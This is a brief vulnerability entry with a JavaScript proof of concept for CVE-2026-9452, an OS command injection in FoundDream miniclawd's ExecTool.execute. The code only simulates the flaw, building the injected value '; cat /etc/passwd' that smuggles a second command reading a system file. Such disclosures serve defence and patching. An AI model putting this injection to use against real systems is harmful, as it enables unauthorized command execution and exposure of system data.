CVE-2026-9452 FoundDream miniclawd OS命令注入漏洞

/* * PoC for CVE-2026-9452 * Vulnerability: OS Command Injection in FoundDream miniclawd * File: /src/tools/exec.ts (ExecTool.execute) */ // Simulate the vulnerable endpoint or function call // An attacker would send a payload via the API parameter handled by ExecTool.execute const payload = "; cat /etc/passwd"; // Payload to execute arbitrary command const maliciousInput = `legitimate_argument${payload}`; console.log(`Sending malicious input: ${maliciousInput}`); // In a real scenario, this input triggers the backend code: // exec('tool ' + maliciousInput) // Expected Result: The system executes 'tool legitimate_argument; cat /etc/passwd'